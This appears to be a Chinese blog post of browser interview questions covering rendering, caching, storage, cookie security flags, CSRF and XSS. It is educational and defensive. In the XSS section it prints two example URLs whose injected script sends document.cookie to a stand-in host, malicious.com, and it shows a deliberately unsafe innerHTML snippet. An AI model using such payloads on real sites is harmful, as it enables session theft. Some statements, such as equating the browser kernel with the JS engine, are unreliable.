浏览器面试题

一.浏览器的组成

1.常见的浏览器内核有哪些?

浏览器的内核分成两部分:
渲染引擎JS引擎(⚠️注意:我们常说的浏览器内核就是指JS引擎)

FireFox 和 Chrome 使用不同的渲染引擎和 JavaScript 引擎:

  1. FireFox:

    • 渲染引擎: Gecko
    • JavaScript 引擎: SpiderMonkey
  2. Chrome (以及大多数基于Chromium的浏览器,如新的Microsoft Edge):

    • 渲染引擎: Blink (注意:Blink是从WebKit分叉出来的,WebKit是早期Chrome和现在的Safari使用的渲染引擎)
    • JavaScript 引擎: V8

2.浏览器的主要组成部分有哪些?

浏览器是一个复杂的应用程序,其主要组件如下:

  1. 用户界面 (User Interface): 这部分包括地址栏、书签栏、前进/后退按钮、刷新按钮等。简而言之,除了您在浏览页面时看到的内容外,用户界面包括了其他所有部分。

  2. 浏览器引擎 (Browser Engine): 该模块在用户界面和渲染引擎之间起到中介的作用,传递命令。

  3. 渲染引擎 (Rendering Engine): 负责显示请求的内容。如果请求的是HTML内容,渲染引擎就负责解析HTML和CSS,并将解析后的内容显示在屏幕上。

  4. 网络 (Networking): 用于网络调用,例如HTTP请求。它负责发送查询和下载网页、图片、其他资源。

  5. JavaScript解释器 (JavaScript Engine): 解析和执行JavaScript来实现网页的动态功能。

  6. 数据存储 (Data Storage): 这是持久层。浏览器需要在本地存储各种数据,如cookies。HTML5引入了web storage,允许网页本地存储数据。

在这里插入图片描述
交互流程

  1. 当您在地址栏中输入URL并按下Enter时,用户界面指示浏览器引擎加载请求的网页。

  2. 浏览器引擎告知网络模块获取该URL的内容。

  3. 一旦网络模块完成下载网页的主要内容(通常是HTML文件),它将数据传递给渲染引擎

  4. 渲染引擎开始解析HTML,并在解析过程中遇到其他资源(如CSS文件、JavaScript文件或图片)时请求网络模块加载它们。

  5. 如果渲染引擎在解析HTML时遇到JavaScript,并且JavaScript没有被延迟或异步加载(deffer\async异步加载js),则渲染引擎暂停HTML解析并将控制权交给JavaScript引擎。一旦JavaScript引擎完成执行,控制权返回渲染引擎。

  6. DOM 构建: 当浏览器开始接收到HTML内容时,它会开始构建DOM(Document Object Model)。DOM是一个树形结构,表示页面的内容结构。DOM的构建是逐步的,也就是说,当浏览器接收到HTML内容的一部分时,它就开始构建DOM的这一部分。

  7. CSSOM 构建: 同时,当浏览器遇到外部CSS文件(通过<link>标签)或内部样式(通过<style>标签)时,它开始构建另一个树结构,称为CSSOM(CSS Object Model)。CSSOM表示样式规则及其如何应用到DOM上。

  8. 渲染树 构建: 一旦浏览器有了DOM和CSSOM,它会结合这两者来创建渲染树。渲染树只包含在页面上可见的元素以及这些元素的样式。

  9. 布局: 当渲染树被创建并完成之后,浏览器开始了布局过程,也被称为"reflow"。这是计算每个可见元素的大小和位置的过程。

  10. 绘制: 经过布局之后,浏览器会开始绘制页面,将每个元素渲染到屏幕上。

⚠️注意:与大多数浏览器不同的是,谷歌(Chrome)浏览器的每个标签页都分别对应一个渲染引擎实例。每个标签页都是一个独立的进程(进程和线程)

3.什么是DOM(文档对象模型)与BOM有什么区别?浏览器是如何使用DOM来表示文档的?

DOM通常被视为多叉树(或称为n-叉树)。这意味着每个节点可能有零个、一个或多个子节点。实际上,一个DOM元素节点的子节点数量是没有限制的。例如,一个<div元素内部可能包含多个其他的元素,如<p, <a, <span等。

DOM是文档对象模型(Document Object Model)是一个用于HTML和XML文档的编程接口。DOM以树状模型表示文档的结构,树中的每个节点代表文档中的元素、属性或文本片段。开发者可以使用DOM API动态地操作网页的内容、结构和样式

而BOM是浏览器对象模型(Browser Object Model)的缩写。它是一个编程接口,代表了浏览器的各个组件,如window对象location对象history对象等等。BOM提供了方法和属性来与浏览器窗口进行交互,处理导航,操作浏览器历史,显示对话框,以及控制框架和窗口等功能。

DOM和BOM的主要区别在于它们的作用范围。DOM主要用于操作网页的结构和内容,允许开发者访问和修改HTML元素、属性和文本节点。而BOM则涉及浏览器窗口及其组件,提供了控制浏览器行为和与用户交互的方法和属性。

二.浏览器工作流程-渲染

1.说一说从输入URL到页面呈现发生了什么?

这个题可以说是面试最常见也是一道可以无限难的题了,一般面试官出这道题就是为了考察你的前端知识深度。

  1. URL解析:浏览器首先会解析输入的URL,提取出协议**(如HTTP、HTTPS)**、域名(如www.example.com)和路径等信息。

  2. DNS解析:浏览器会向本地DNS解析器发送一个DNS查询请求,以获取输入域名对应的IP地址。如果本地DNS缓存中存在域名的解析结果,则直接返回IP地址;否则,本地DNS解析器会向根DNS服务器顶级域名服务器授权域名服务器等级联查询,最终获取到域名的IP地址。

  3. 建立TCP连接:浏览器使用获取到的IP地址,通过TCP/IP协议与服务器建立网络连接。这个过程通常经历三次握手,确保客户端和服务器之间的可靠连接。

  4. 发起HTTP请求:一旦建立了TCP连接,浏览器就会发送一个HTTP请求到服务器。请求中包含了请求行(请求方法,如GET或POST,以及请求的资源路径)、请求头(如Accept、User-Agent等)和请求体(对于POST请求)等信息。

  5. 服务器处理请求:服务器接收到浏览器发送的HTTP请求后,会根据请求的路径和参数等信息,处理请求并生成相应的响应。

  6. 接收响应:浏览器接收到服务器发送的HTTP响应后,会解析响应头响应体。响应头包含了状态码(如200表示成功,404表示资源未找到)和其他元信息,响应体包含了服务器返回的实际内容(如HTML、CSS、JavaScript、图片等)。

  7. 渲染页面:浏览器开始解析响应体中的HTML文档,并构建DOM(文档对象模型)树。同时,它还会解析CSS文件和JavaScript代码,并进行样式计算、布局和渲染。最终,将解析后的内容显示在用户界面上,呈现出完整的页面。

  8. 关闭TCP连接(四次挥手):一旦页面呈现完成,浏览器会关闭与服务器之间的TCP连接。如果页面中存在其他资源(如图片、脚本、样式表),则会继续发送相应的HTTP请求来获取这些资源,并重复执行步骤5到步骤7,直至所有资源加载完成。

a.状态码:

以下是一些常见的HTTP状态码:

1xx(信息性状态码):表示接收的请求正在处理。

  • 100 Continue:服务器已接收到请求的初始部分,并要求客户端继续发送其余部分。
  • 101 Switching Protocols:服务器已理解客户端的请求,并将切换到不同的协议进行处理。

2xx(成功状态码):表示请求已成功被服务器接收、理解和处理。

  • 200 OK:请求成功,服务器返回所请求的数据。
  • 201 Created:请求已成功,并在服务器上创建了新的资源。
  • 204 No Content:请求成功,但服务器没有返回任何内容。

3xx(重定向状态码):表示需要进一步操作以完成请求。

  • 301 Moved Permanently:请求的资源已永久移动到新位置。
  • 302 Found:请求的资源暂时移动到新位置。
  • 304 Not Modified:资源未被修改,客户端可以使用缓存的版本。

4xx(客户端错误状态码):表示客户端发出的请求有错误。

  • 400 Bad Request:服务器无法理解客户端的请求。
  • 401 Unauthorized:请求需要用户身份验证。
  • 404 Not Found:请求的资源不存在。

5xx(服务器错误状态码):表示服务器在处理请求时发生了错误。

  • 500 Internal Server Error:服务器遇到了意外错误,无法完成请求。
  • 503 Service Unavailable:服务器暂时无法处理请求,通常是由于过载或维护。

b.三次握手四次挥手

三次握手四次挥手

2.浏览器重绘域重排的区别?

  • 重排(reflow也被称回流): 布局改变,重排成本高
  • 重绘 (Repaint): 样式改变,布局没变

重绘不一定导致重排,但重排一定绘导致重绘

如何触发重绘和重排?
任何改变 用来构建渲染树的信息 都会导致一次重排或重绘:

  • 添加、删除、更新DOM节点
  • 通过display: none隐藏一个DOM节点-触发重排和重绘
  • 通过visibility: hidden隐藏一个DOM节点-只触发重绘,因为没有几何变化

如何避免重绘或重排?

  • 集中改变样式:
    • 比如使用class的方式来集中改变样式
    • 使用document.createDocumentFragment():我们可以通过createDocumentFragment创建一个游离于DOM树之外的节点,然后在此节点上批量操作,最后插入DOM树中,因此只触发一次重排
  • 提升为合成层
    • 使用 CSS 的 will-change 属性将元素提升为合成层。有以下优点:交由 GPU 合成,比 CPU 处理要快
    • 使用 CSS3 的 transform 和 opacity 属性来进行动画效果,它们可以利用 GPU 加速,减少重排的发生。

3.CSS加载会阻塞DOM吗?

先上结论:

  • CSS不会阻塞DOM的解析,但会阻塞DOM的渲染
  • CSS会阻塞JS执行,但不会阻塞JS文件的下载

为什么CSS不会阻塞DOM的解析,但会阻塞DOM的渲染?(DOM和CSSOM通常是并行构建的,所以CSS加载不会阻塞DOM的解析,前一个DOM的解析指的是HTML的解析构建DOM树,后一个DOM的渲染指的是DOM与CSSOM结合的渲染树的渲染

CSS解析之前,由HTML解析出来的DOM已经开始构建?(并行的,但是,如果dom解析到一半,遇到js改变css样式则需要等待css被加载完毕,这也是为什么css会阻塞JS的执行

  1. DOM 构建: 当浏览器开始接收到HTML内容时,它会开始构建DOM(Document Object Model)。DOM是一个树形结构,表示页面的内容结构。DOM的构建是逐步的,也就是说,当浏览器接收到HTML内容的一部分时,它就开始构建DOM的这一部分。

  2. CSSOM 构建: 同时,当浏览器遇到外部CSS文件(通过<link>标签)或内部样式(通过<style>标签)时,它开始构建另一个树结构,称为CSSOM(CSS Object Model)。CSSOM表示样式规则及其如何应用到DOM上。

  3. 渲染树 构建: 一旦浏览器有了DOM和CSSOM,它会结合这两者来创建渲染树。渲染树只包含在页面上可见的元素以及这些元素的样式。

  4. 布局: 当渲染树被创建并完成之后,浏览器开始了布局过程,也被称为"reflow"。这是计算每个可见元素的大小和位置的过程。

  5. 绘制: 经过布局之后,浏览器会开始绘制页面,将每个元素渲染到屏幕上。

但是,一个重要的点要注意:当浏览器在构建DOM时遇到<script>标签,并且该脚本不是asyncdefer的,浏览器会暂停DOM的构建,直到脚本执行完毕。如果此时的JavaScript试图访问某些尚未解析的CSS属性,那么浏览器可能需要先完成CSSOM的构建。这就是为什么阻塞的(非异步的)JavaScript和大量的CSS可能会导致页面加载延迟的原因之一。

4.JS会阻塞页面吗?

a.deffer\async 加载js

deffer\async 加载js
先上结论

JS会阻塞DOM的解析,也会与渲染线程互斥,因此也就会阻塞页面的加载

这也是为什么要把JS文件放在最下面的原因

为什么GUI渲染线程要和JS引擎互斥?

由于 JavaScript 是可操纵 DOM 的,如果在修改这些元素属性同时渲染界面(即 JavaScript 线程和 UI 线程同时运行),那么渲染线程前后获得的元素数据就可能不一致了

因此为了防止渲染出现不可预期的结果,浏览器设置 「GUI 渲染线程与 JavaScript 引擎为互斥」的关系。

当浏览器在执行 JavaScript 程序的时候,GUI 渲染线程会被保存在一个队列中,直到 JS 程序执行完成,才会接着执行。

因此如果 JS 执行的时间过长,这样就会造成页面的渲染不连贯,导致页面渲染加载阻塞的感觉。

5.浏览器的事件循环是什么?macro-task 和 micro-task 有什么不同?

JS事件循环机制

三、浏览器的存储-缓存机制

1.说一说浏览器的缓存机制?

认识浏览器缓存:
当浏览器请求一个网站时,会加载各种资源,对于一些不经常变动的资源,浏览器会将他们保存在本地内存中,下次访问时直接加载这些资源,提高访问速度。

浏览器缓存分类:

  • 强缓存:不会发请求给服务器,直接从本地缓存读取,返回状态码是200(from cache)。
  • 协商缓存:发请求给服务器,比对资源是否有变化,如果没有变化,返回状态码是304(not modified),然后从本地缓存读取。

什么样的资源使用强缓存,什么样的资源使用协商缓存?

  1. 使用强缓存的资源:不经常变化的资源(例如 CSS、JavaScript 文件,图片、视频等)

  2. 使用协商缓存的资源:经常变化的资源(例如来自数据库的内容、新闻、博客帖子等,它们可能经常变化)

如何实现强缓存?
设置Expires与Cache-Control,Expires逐渐被Cache-Control取代。

  1. Cache-Control:控制缓存字段,后端配置,常见的取值包括:
  • public:表示资源可以被任何缓存(包括浏览器和CDN)缓存。
  • private:表示资源只能被单个用户的私有缓存缓存,不能被共享缓存(如CDN)缓存。
  • no-cache:强制使用协商缓存,即每次请求都要与服务器确认资源是否有更新。
  • no-store:不使用缓存,每次重发请求,包括请求响应体。
  • max-age=<seconds:用来设置强缓存,表示资源的有效期,即从请求时间开始,缓存会在指定的秒数内有效。
  • s-maxage=<seconds:类似于 max-age,但仅适用于共享缓存(如CDN)。
  1. Expires:这是一个过时的字段,被 Cache-Control 所取代。它指定了一个绝对的过期日期,由于客户端与服务器端的时间不同,可能存在不准确的问题。

如何实现协商缓存?

  1. Cache-Control中的no-cache
  2. Last-Modified / If-Modified-Since
  3. ETag(哈希值) / If-None-Match

后面两种方法通常与Cache-Control指令一起使用。

与缓存相关的配置方法:

请求头(Request Headers):

  1. If-None-Match: 等于上次服务器响应体中的ETag值,询问服务器资源是否被修改。
  2. If-Modified-Since: 询问资源是否过期。
  3. Cache-Control: 指明了资源如何被缓存的指令,例如max-age, no-cache, private, public等。

响应头(Response Headers):
4. Cache-Control: 指明了资源如何被缓存的指令,例如max-age, no-cache, private, public等。

  1. Expires: 设置资源过期的绝对时间。

  2. ETag: 服务器为资源生成的一个标识符。

  3. Last-Modified: 表示资源最后一次被修改的时间。

  4. Vary: 告诉缓存机制哪些请求头部信息应该被考虑进去。

缓存完整流程图:

在这里插入图片描述

2.浏览器的存储(新)

浏览器提供了多种客户端存储机制,每种机制都有其特定的用途、特性和限制。以下是对 cookielocalStoragesessionStorageIndexedDB 的对比:

1. Cookie

  • 存储大小: 通常限制为4KB。
  • 生命周期: 可以设置过期时间。如果没有设置,它的生命周期将与会话持续相同,即关闭浏览器后会被删除。
  • 与服务器交互: 每次HTTP请求都会附带,这可能会浪费带宽。
  • 访问性: JavaScript可以访问,但需要考虑安全性(例如:设置HttpOnly标志以防止通过JS访问)。
  • 使用场景: 适合小量数据的存储,经常用于身份验证(如存储JWT或会话ID)。

2. LocalStorage

  • 存储大小: 通常限制为5-10MB。
  • 生命周期: 没有过期时间,除非明确删除,否则数据会永久存储。
  • 与服务器交互: 数据只在客户端存储,不会随每次请求发送给服务器。
  • 访问性: 可以通过JavaScript访问。
  • 使用场景: 适合大量持久化的数据,如用户偏好设置、主题等。

3. SessionStorage

  • 存储大小: 通常限制为5-10MB。
  • 生命周期: 数据在页面会话期间可用,关闭页面或浏览器后会被清除。
  • 与服务器交互: 数据只在客户端存储,不会随每次请求发送给服务器。
  • 访问性: 可以通过JavaScript访问。
  • 使用场景: 适合需要在浏览器会话中临时存储的数据。

4. IndexedDB

  • 存储大小: 无明确的限制,但可能受到磁盘空间的影响。通常可以存储大量数据。
  • 生命周期: 没有过期时间,除非明确删除,否则数据会永久存储。
  • 与服务器交互: 数据只在客户端存储,不会随每次请求发送给服务器。
  • 访问性: 可以通过JavaScript访问。
  • 结构: 它是一个事务性的数据库系统,可以存储键值对,支持索引,事务和游标。
  • 使用场景: 适合大量数据的存储,如离线应用数据、大数据集等。

总结

  • 大小: cookie < localStorage/sessionStorage << IndexedDB
  • 生命周期: sessionStorage < cookie (如果设置了过期时间) = localStorage = IndexedDB
  • 与服务器交互: 只有cookie会随HTTP请求自动发送。
  • 结构: 只有IndexedDB提供了数据库的功能和结构。
  • 用途: 根据存储需求和数据的大小、持续性来选择合适的存储机制。

5.使用localStorage注意事项和限制
使用localStorage时,有以下注意事项和限制需要考虑:

  1. 容量限制:localStorage的存储容量通常为5MB到10MB,不同浏览器可能有略微不同的限制。超过容量限制时,将无法继续往localStorage中存储数据。

  2. 数据格式限制:localStorage只能存储字符串类型的数据。如果需要存储其他数据类型(如对象、数组等),需要先将其转换为字符串形式(如使用JSON.stringify()方法),再存储到localStorage中,并在读取时进行相应的解析(如使用JSON.parse()方法)。

  3. 同源策略:localStorage受到同源策略的限制,即只能在同一个域名下的页面之间进行数据共享。每个域名都拥有独立的localStorage存储空间,不同域名之间的localStorage无法相互访问。

  4. 持久性:localStorage的数据将一直保留在客户端,除非主动删除或浏览器清除缓存。即使关闭浏览器或重新启动设备,数据仍然会保留。

  5. 安全性:由于localStorage存储在客户端,因此数据可能面临一定的安全风险。恶意脚本可能尝试读取或篡改localStorage中的数据。为了保护敏感信息,应该避免在localStorage中存储敏感数据,或者对敏感数据进行加密处理。

  6. 性能影响:频繁读写大量数据到localStorage可能会对页面性能产生影响。过多的数据读写操作可能导致页面响应变慢。

  7. 不支持跨线程访问:localStorage只能在主线程中使用,无法在Web Worker等其他线程中访问。

  8. 不支持事务和查询:localStorage并不适合用于处理复杂的数据查询和事务操作。它是一个简单的键值存储系统,没有提供复杂的查询语言或事务处理机制。

考虑到这些注意事项和限制,使用localStorage时应谨慎处理数据类型、数据量和安全性,并确保符合同源策略和性能需求。在一些复杂的场景下,可能需要考虑使用其他技术或存储方案来满足需求。

四、前端安全性相关-攻击方式-预防-cookie设置属性

1.Cookie相关与HttpOnly

  1. 什么是HttpOnly?为什么我们需要它?

HttpOnly 是一个用于设置 HTTP Cookie 的属性,它的作用是限制客户端(通常是浏览器)对 Cookie 的访问,只允许通过 HTTP 或 HTTPS 协议进行访问,而禁止通过脚本(如 JavaScript)进行访问。

使用 HttpOnly 属性可以提高 Web 应用程序的安全性:防止跨站脚本攻击(XSS):浏览器将禁止 JavaScript 访问带有该属性的 Cookie

  1. 除了HttpOnly,哪些其他标志或属性可以提高Cookie的安全性?
  • Secure 属性:只允许通过 HTTPS 连接传输 Cookie。

  • SameSite 属性:SameSite 属性用于定义 Cookie 发送的规则,以防止跨站点请求伪造(CSRF)攻击。可以将 SameSite 属性设置为以下值之一:StrictLaxNoneStrict 模式完全禁止跨站点发送 Cookie,Lax 模式在导航到目标站点之前仅允许在安全上下文(指顶导)中发送 Cookie,而 None 模式允许在任何情况下发送 Cookie(需要同时设置 Secure 属性)。使用适当的 SameSite 设置可以限制 Cookie 的发送范围,减少 CSRF 攻击的风险。

  • Domain 属性:通过设置 Domain 属性,可以限制 Cookie 的作用域。将 Domain 属性设置为与当前网站的主域名匹配,可以防止恶意网站访问到另一个网站的 Cookie。这可以提高 Cookie 的隔离性和安全性。

  • Path 属性:设置Cookie的可发送路径。这样可以防止其他路径下的恶意脚本访问和窃取 Cookie。

  • 定期更新和轮换 Cookie:定期更改敏感 Cookie 的值,增加攻击者窃取 Cookie 的难度。同时,使用有限的有效期限制 Cookie 的生命周期。

  • CSP(内容安全策略):通过 CSP,可以定义网页可以加载的资源源,限制恶意脚本的执行和 Cookie 的访问。

res.cookie('cookieName', 'cookieValue', { 
  httpOnly: true,
  secure: true,
  sameSite: 'Strict',
  domain: 'example.com',
  path: '/'
});

SameSite场景:
那我如果设置SameSite中的Strict,那是不是完全禁止跨站点发送 Cookie。也就是在evil.com里面点。也不会携带cookie了?

SameSite 属性是一个相对较新的 Cookie 属性,用于增强浏览器中的跨站点请求的安全性。该属性有三个可能的值:StrictLaxNone`。

  • 当设置为 SameSite=Strict 时,该 Cookie 仅在请求来自同一站点时发送。这意味着,即使用户已经在 bank.com 上登录,如果他们访问了 evil.com 并从那里尝试通过 <img> 标签或任何其他方式触发一个跨站点请求,浏览器将不会附带与 bank.com 相关的任何 SameSite=Strict 的 Cookie。

  • SameSite=Lax 是一个稍微宽松一点的版本,它允许一些安全的跨站点请求(例如GET请求)携带 Cookie,但不允许跨站点的 POST 请求携带 Cookie。这可以避免许多 CSRF 攻击,同时仍然允许某些跨站点的使用场景。

  • SameSite=None 意味着 Cookie 可以在任何跨站点请求中发送,但这需要与 Secure 标志一起使用,这意味着 Cookie 只能通过 HTTPS 发送。

为了增强安全性,许多现代浏览器已经开始更改其对 SameSite 的默认行为,将其默认设置为 Lax。这就是为什么在某些场景中,如果没有明确设置 SameSite 属性,您可能会看到一些关于 Cookie 行为的变化。

综上所述,设置 SameSite=Strict 确实可以大大减少 CSRF 攻击的风险,因为它会完全阻止跨站点发送 Cookie。

如何理解Samesite = Lax?:

  1. 假设用户已登录bank.com并获取了一个带有SameSite=Lax属性的cookie。
  2. 用户访问一个第三方的恶意网站evil.com
  3. evil.com上有一个尝试利用CSRF漏洞发起的XHR请求,目标是bank.com/transferMoney。由于cookie设置为Lax,这个跨站XHR请求不会携带bank.com的cookie,从而防止了潜在的CSRF攻击。
  4. 但是,如果用户在evil.com上点击一个指向bank.com的链接,由于这是一个顶层导航请求bank.com的cookie将会被发送,尽管是从evil.com触发的。

总结:转账请求不携带cookie,顶层导航请求携带cookie,从而确保不破坏用户的正常浏览体验.

SameSite与Secure的不同:

  • SameSite 属性用来控制 Cookie 是否能够在跨站请求中被发送
  • Secure 属性确保 Cookie 只能通过 HTTPS 协议发送

如何理解Domain属性?:

Domain属性在Cookie中定义了哪些域名可以访问该Cookie。它有助于定义Cookie的范围。

默认情况下,Cookie只能被创建它的页面所访问。但是,如果你设置了Domain属性,这个Cookie就可以被此域下的其他子域所访问。

那cookie的domain属性,能解决cookie的跨域问题吗?
回到你的问题,domain 属性解决的其实不是通常意义上的“跨域问题”,而是主域下的子域名共享问题。跨完全不同的域(例如 example.com 和 another.com)之间是无法共享 cookie 的,无论如何设置 domain 属性。如果你需要在完全不同的域名之间共享信息,你可能需要使用其他方法,如 JSONP、CORS 或服务器间的通信

如何在JavaScript中设置和读取Cookies?

在JavaScript中,可以使用document.cookie属性来读取和设置cookies。

2.前端安全性相关

a.描述什么是CSRF(跨站请求伪造)?

CSRF(跨站请求伪造:攻击者诱使受害者的浏览器执行未经授权的请求,通常是在受害者已经登录目标站点并在其会话中持有有效凭据的情况下。简而言之,CSRF攻击的目标是利用受害者当前的身份来执行某些操作,而受害者通常不会意识到这些操作的发生。

CSRF 攻击简化流程

  1. 目标:攻击者希望攻击某个受害者在网站 bank.com 上的账户,该受害者在 bank.com 有登录状态。

  2. 建立陷阱:攻击者在一个他控制的网站 evil.com 上放置了一个恶意脚本或者构造了一个看起来正常的链接。这个链接或脚本其实是向 bank.com 发送一个请求。

    例如:<img src="https://i-blog.csdnimg.cn/blog_migrate/5cce30e1dbb82067142d93b333f0c2d8.png" width="0" height="0">

    当受害者访问 evil.com 时,上述链接会尝试向 bank.com 发起一个转账请求。

  3. 利用用户登录状态:如果受害者在 bank.com 处于登录状态,并且其浏览器还有 bank.com 的 Cookie,这个请求就会带上这个 Cookie,因为浏览器会自动附带相应站点的 Cookie。从 bank.com 的角度看,这个请求看起来是一个合法的用户请求。

  4. 完成攻击:如果 bank.com 没有进行 CSRF 保护,它会执行这个恶意请求,将受害者的钱转到攻击者的账户。

如何防范 CSRF 攻击

  1. 使用 CSRF 令牌:为每个会话和请求生成一个随机的、不可预测的令牌。只有在收到正确的令牌时,服务器才会处理请求。

  2. 检查 Referer 标头:如果请求的来源不是预期的域(例如从 evil.com 来的请求),那么可以拒绝该请求。

  3. 强制重新认证:对于敏感的操作(如转账),要求用户再次输入密码或进行其他形式的二次认证。

  4. 设置cookie中的sameSite:限制跨站点携带cookie

我的问题:
cookie默认情况就是不跨域的,为什么受害者访问 evil.com 时点击了链接能发送bank.com 的 Cookie?

问题的核心并不在于 cookie 是否可以在不同的域之间"共享",而在于浏览器的行为和如何处理带有 cookie 的请求。

这就是 CSRF 攻击的核心:它不是试图窃取或直接利用 Cookie,而是利用浏览器的这种自动行为来执行未经授权的操作

b.描述什么是跨站脚本攻击(XSS)?

跨站脚本攻击(Cross-Site Scripting,简称 XSS)是一种在 web 应用中插入恶意脚本的攻击方式。攻击者利用这种攻击方法可以执行任意的脚本代码,并借此获得对网站或其用户的非法访问权限。XSS 攻击的成功往往是因为网站未能正确地过滤用户输入的内容。

以下是关于 XSS 攻击的详细描述:

  1. 工作原理

    • 攻击者在 web 应用的某个地方插入恶意 JavaScript 代码。
    • 当其他用户浏览这个被植入了恶意代码的页面时,他们的浏览器会执行这段代码。
    • 一旦代码被执行,攻击者就可以利用这段代码实现多种恶意行为,如窃取 cookie、生成伪造请求或展示虚假信息。
  2. 对于 XSS(跨站脚本攻击),理解其三个主要类型是非常重要的。每种类型的攻击都基于相同的核心概念,即将恶意脚本注入到受害者的浏览器中并执行,但是它们的执行方式和攻击点存在差异。以下是对三种类型的更深入解释:

  3. 三种XSS:
    存储型 XSS

    • 机制:这是最常见的 XSS 攻击形式。在这种攻击中,恶意脚本被永久保存在目标服务器上。当用户请求该数据(例如,读取一篇论坛帖子或查看评论)时,服务器将数据连同恶意脚本一起发送给用户的浏览器,然后在浏览器中执行该脚本。
    • 示例:一个用户在社交网站上发布了一个评论,其中嵌入了恶意脚本。每当有人查看这条评论时,该脚本就会在他们的浏览器中执行。
    • 风险:存储型 XSS 攻击是持续的,除非恶意内容从服务器上删除,否则每个访问该内容的用户都可能受到攻击。

反射型 XSS

  • 机制:与存储型 XSS 不同,反射型 XSS 中的恶意脚本并不存储在服务器上。相反,攻击者通常会将恶意脚本放在 URL 中,然后诱导受害者点击这个 URL。当用户点击该链接时,请求发送到服务器,服务器将恶意脚本作为响应的一部分返回,然后在用户的浏览器中执行。
  • 示例:攻击者发送了一个伪装成合法网站链接的电子邮件。该链接的 URL 中含有恶意脚本。当用户点击该链接时,服务器简单地将该脚本反射回用户的浏览器,并执行它。
  • 风险:该攻击是一次性的,只有点击恶意链接的用户会受到攻击。

DOM 型 XSS

  • 机制:这种类型的攻击主要涉及页面的 DOM(文档对象模型)。在这里,服务器可能返回无害的数据,但由于前端脚本的不恰当处理,恶意输入可能会被执行为脚本。这种攻击主要利用了客户端(如 JavaScript)在处理用户输入时的缺陷。
  • 示例:考虑一个搜索功能,用户的搜索词会被显示在搜索结果中。如果前端 JavaScript 代码简单地将 URL 中的搜索参数获取出来,并直接插入到页面中,那么攻击者可以在 URL 的搜索参数中插入恶意脚本,从而在其他用户的浏览器中执行该脚本。
  • 风险:与反射型 XSS 类似,这种攻击通常需要诱骗用户执行某些操作(例如,点击链接或访问某个页面)。

为了避免 XSS 攻击,开发者需要确保在将用户输入的数据插入到 web 页面之前,对其进行适当的验证和转义。此外,内容安全策略(CSP)和其他现代浏览器安全措施也可以帮助降低 XSS 攻击的风险。

  1. 预防方法
    • 对所有用户输入进行严格的验证和过滤。
    • 使用适当的输出编码,确保动态内容在页面中被安全地呈现。
    • 使用内容安全策略(Content Security Policy, CSP)限制可执行的脚本。
    • 避免使用或限制使用能解析并执行代码的函数,如 eval()
    • 对敏感的 cookie 设置 httpOnly 属性,这样即使脚本尝试访问 cookie,浏览器也不会返回这些 cookie 的内容。

DOM型XSS攻击详解:
我将为您描述一个具体的 DOM 型 XSS 攻击的例子。

场景: 假设我们有一个简单的搜索引擎网站,它使用 JavaScript 从 URL 的查询参数中获取用户输入的搜索关键词,然后直接将其显示在搜索结果页面上。以下是这个操作的简化版 JavaScript 代码:

// 获取 URL 中 "q" 参数的值
let userQuery = new URLSearchParams(window.location.search).get('q');

// 直接在页面上显示搜索关键词
document.getElementById('search-result').innerHTML = "您搜索的是:" + userQuery;

攻击过程:

  1. 攻击者注意到这个网站直接从 URL 的 q 参数中获取数据,并不经过任何过滤或转义就将其插入到页面中。
  2. 攻击者构建以下 URL,其中包含一个恶意的 JavaScript 脚本作为 q 参数的值:
http://example.com/search?q=<script>fetch('http://malicious.com/steal?cookie='+document.cookie)</script>
  1. 攻击者将这个恶意链接分享到社交媒体、论坛或通过其他方式诱导受害者点击。
  2. 当受害者点击此链接时,他们的浏览器会打开这个搜索引擎网页。因为网页中的 JavaScript 代码没有进行任何数据验证或转义,所以 <script> 标签中的恶意代码会被执行。
  3. 恶意脚本将受害者的 cookie 信息发送到攻击者控制的 malicious.com 域名。

防御措施:

要防止 DOM 型 XSS 攻击,网站开发者可以采取以下措施:

  1. 永远不要信任用户输入。即使数据是从 URL、表单、Cookies 或任何其他来源获取的,也应对其进行验证和转义。
  2. 使用 .textContent 或其他安全方法,而不是使用 .innerHTML 来插入数据,因为 .innerHTML 可能会执行嵌入其中的脚本。
  3. 使用内容安全策略 (CSP) 来限制哪些脚本可以被执行。
  4. 了解并使用现代 JavaScript 框架(如 React、Vue 或 Angular)提供的内置 XSS 防护机制。

反射性XSS详解:
我将为您描述一个具体的反射型 XSS 攻击的例子。

场景: 假设有一个网站,该网站允许用户通过 URL 的查询参数来自定义欢迎消息。例如,当用户访问 http://example.com/welcome?name=Alice 时,网站会显示“Hello, Alice!”。该网站的后端代码简单地从 URL 获取 name 参数,并将其嵌入到返回给用户的 HTML 页面中。

攻击过程:

  1. 攻击者发现这个功能并意识到网站没有过滤或转义 name 参数的值。
  2. 攻击者构建以下 URL,其中包含一个恶意的 JavaScript 脚本作为 name 参数的值:
http://example.com/welcome?name=<script>fetch('http://malicious.com/steal?cookie='+document.cookie)</script>
  1. 攻击者通过电子邮件、社交媒体、或其他方法将这个恶意链接发送给受害者,试图诱骗他们点击。
  2. 当受害者点击该链接时,他们的浏览器会请求上述网址,服务器简单地将 <script> 标签中的恶意代码作为响应的一部分返回给受害者的浏览器。
  3. 由于该代码被嵌入到返回的 HTML 页面中,所以它会在受害者的浏览器中执行,导致恶意脚本将受害者的 cookie 信息发送到攻击者控制的 malicious.com 域名。

防御措施:

要防止反射型 XSS 攻击,网站开发者可以采取以下措施:

  1. 永远不要信任用户输入。无论数据来源如何,都应对其进行验证、清理和转义。
  2. 使用HttpOnly属性:会话cookie,使用HttpOnly标志。这样的cookie不能通过JavaScript访问,从而增加了安全性。
  3. 使用内容安全策略 (CSP) 来限制可执行的脚本,尤其是来自外部源的脚本。
  4. 考虑使用现代 web 开发框架,如 React、Vue 或 Angular,因为它们通常提供了防止 XSS 的内置机制。

这只是反射型 XSS 的一个简化示例,但它提供了一个关于如何进行这种攻击和如何进行防御的基本概念。

DOM型与反射型的区别?
您的困惑是可以理解的,因为反射型 XSS 和 DOM 型 XSS 在某些方面确实很相似,特别是它们都涉及从 URL 获取恶意载荷并在用户的浏览器中执行。但它们之间存在一些关键的区别:

  1. 数据的处理位置

    • 反射型 XSS:攻击载荷首先被发送到服务器,然后服务器将载荷反射回(即响应)客户端,并在返回的页面中执行该载荷。换句话说,服务器在处理用户输入并生成响应时,对恶意载荷进行了回显。
    • DOM 型 XSS:恶意载荷完全在客户端(浏览器)中处理。服务器可能会收到攻击载荷,但并不直接将其嵌入到返回的 HTML 中。相反,是客户端的 JavaScript 代码从 URL、DOM 或其他客户端的资源中获取载荷,并在页面上执行它。
  2. 服务器的作用

